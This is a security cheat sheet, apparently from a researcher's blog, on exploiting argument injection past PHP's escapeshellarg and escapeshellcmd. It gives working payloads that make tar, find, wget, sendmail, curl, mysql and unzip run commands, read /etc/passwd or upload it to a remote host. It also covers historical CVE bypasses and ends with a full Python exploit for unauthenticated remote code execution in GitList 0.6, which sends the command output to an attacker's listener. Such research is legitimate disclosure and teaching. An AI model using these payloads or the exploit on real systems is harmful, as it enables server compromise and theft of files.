Introduction
- TL;DR: How exploit/bypass/use PHP escapeshellarg/escapeshellcmd functions.
I create this simple cheat sheet because of GitList 0.6 Unauthenticated RCE so you can easily understand how it works.
Note: This is simple list with easy to understand examples so it doesn't contain all/comprehensive details about escapeshell* functions.
This document is also available on GitHub.
Table of contents
- Introduction
- What
escapeshellarg
andescapeshellcmd
really do? - Known bypasses/exploits
- Argument Injection
What escapeshellarg and escapeshellcmd really do?
Function | Description |
escapeshellcmd | ensure that user execute only one command user can specify unlimited number of parameters user cannot execute different command |
escapeshellarg | ensure that user pass only one parameter to command user cannot specify more that one parameter user cannot execute different command |
Example. Let't use groups which prints group memberships for each username.
$username = 'myuser';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
But attacker can use ;
or ||
inside $username
.
On Linux this means that second command will be executed after first one:
$username = 'myuser;id';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)
In order to protect against this we are using escapeshellcmd
.
Now attacker cannot run second command.
$username = 'myuser;id';
// escapeshellcmd adds \ before ;
system(escapeshellcmd('groups '.$username));
=>
(nothing)
Why? Because internally PHP runs this command:
$ groups myuser\;id
groups: „myuser;id”: no such user
myuser\;id
is treated as single string.
But in this approach attacker can specify more parameters to groups
.
For example he can check multiple users at once:
$username = 'myuser1 myuser2';
system('groups '.$username);
=>
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo
Let's assume that we want to allow checking only one user per script execution:
$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>
(noting)
Why? Because now $username
is treated as single parameter:
$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such user
Known bypasses/exploits
When you want to exploit those functions you have 2 options:
- if PHP version is VERY OLD you can try one of the historical exploits,
- otherwise you need to try Argument Injection technique.
Argument Injection
As you can see from previous chapter it's not possible to execute second command when escapeshellcmd/escapeshellarg is used.
But still we can pass arguments to the first command.
This means that we can also pass new option to the command.
Ability to exploit vulnerability depends on the target executable.
Below you can find list of known executables with some specific options which can be misused.
[TAR](http://baesystemsai.blogspot.fr/2013/11/security-issues-with-using-phps.html)
Compress some_file
into /tmp/sth
.
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
Create empty /tmp/exploit
file.
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
FIND
Find some_file
inside /tmp
directory.
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
Print /etc/passwd
content.
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
Escapeshellcmd with escapeshellarg
In this configuration we can pass second argument to the function.
List files inside /tmp
dir and ignore sth
.
$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
List files inside /tmp
dir and ignore sth
. Use a long listing format.
$arg = "sth' -l ";
// ls --ignore='exploit'\\'' -l \' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
WGET
Download example.php
.
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
Save .php
file to specific directory:
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
Command executed using .bat
Print list of files inside somedir
.
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
Also execute whoami
command.
$dir = "somedir \x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
See: how passing parameters to a new process on Windows.
SENDMAIL
Send mail.txt
. Set the envelope sender address to [email protected]
$from = '[email protected]';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
Print /etc/passwd
content.
$from = '[email protected] -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
CURL
Download http://example.com
content.
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
Send /etc/passwd
content to http://example.com
.
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
You can get file using:
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
MYSQL
Execute sql statement:
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
Run id
command.
$sql = '\! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
UNZIP
Unpack all *.tmp
files from archive.zip
into /tmp
directory.
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
Unpack all *.tmp
files from archive.zip
into /var/www/html
directory.
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
Strip non-ascii characters if the LANG environment variable is not set
$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'"
var_dump(escapeshellarg($filename));
Historical exploits
1. PHP <= 4.3.6 on Windows - CVE-2004-0542
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\\where\\');
Run also dir
command.
$find = 'word " c:\\where\\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\\where\\');
2. PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 - CVE-2008-2051
Shell needs to uses a locale with a variable width character set like GBK, EUC-KR, SJIS.
$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth \xc0; id";
system(escapeshellcmd("echo ".$text));
OR
$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word \xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
3. PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows - CVE-2015-4642
Pass additional third parameter (--param3)
to function.
$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\\';
$b = 'b -c --param3\\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
4. PHP 7.x before 7.0.2 - CVE-2016-1904
Heap-based buffer overflow if you pass 1024mb
string to escapeshellarg
or escapeshellcmd
.
5. PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows
Expand some environment variables when EnableDelayedExpansion is enabled.
Then !STH!
works similar to %STH%
.
escapeshellarg
doesn't sanitize !
character.
EnableDelayedExpansion can be set in the registry under HKLM or HKCU:
[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)
Example:
// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);
6. PHP < 5.6.18
The functions defined in ext/standard/exec.c
which work with strings (escapeshellcmd
, eschapeshellarg
, shell_exec
), all ignore the length of the PHP string, and work with NULL termination instead.
echo escapeshellarg("hello\0world");
=>
hello
GitList RCE Exploit
File: src/Git/Repository.php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
}
Simplified:
$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');
When we check git grep documentation:
--open-files-in-pager[=<pager>]
Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.
So basically --open-files-in-pager
works like -exec
in find.
$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');
When we put this to the console:
$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
id;: 1: id;: README.md: not found
Final exploit - DOWNLOAD:
import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re
url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001
print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "REMEMBER TO DISABLE FIREWALL"
search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)
if len(repos) == 0:
print "[-] No repos"
os._exit(0)
for repo in repos:
print "[+] Found repo {}".format(repo)
r = requests.get("{}{}".format(url, repo))
files = re.findall(r'href="[^\"]+blob/master/([^\"]+)"', r.text)
for file in files:
r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
print "[+] Found file {}".format(file)
print r.text[0:100]
search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])
break
if not search_url:
print "[-] No files in repo"
os._exit(0)
print "[+] Search using {}".format(search_url)
class GetHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_path = urlparse.urlparse(self.path)
print "[+] Command response"
print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
self.send_response(200)
self.end_headers()
self.wfile.write("OK")
os._exit(0)
def log_message(self, format, *args):
return
def exploit_server():
server = HTTPServer((your_ip, your_port), GetHandler)
server.serve_forever()
print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"
r = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\\"http://{}:{}/?a=\\".urlencode(shell_exec(\\"{}\\")));"'.format(your_ip, your_port, command)})
while True:
time.sleep(1)
Timeline
- 25-04-2018: Release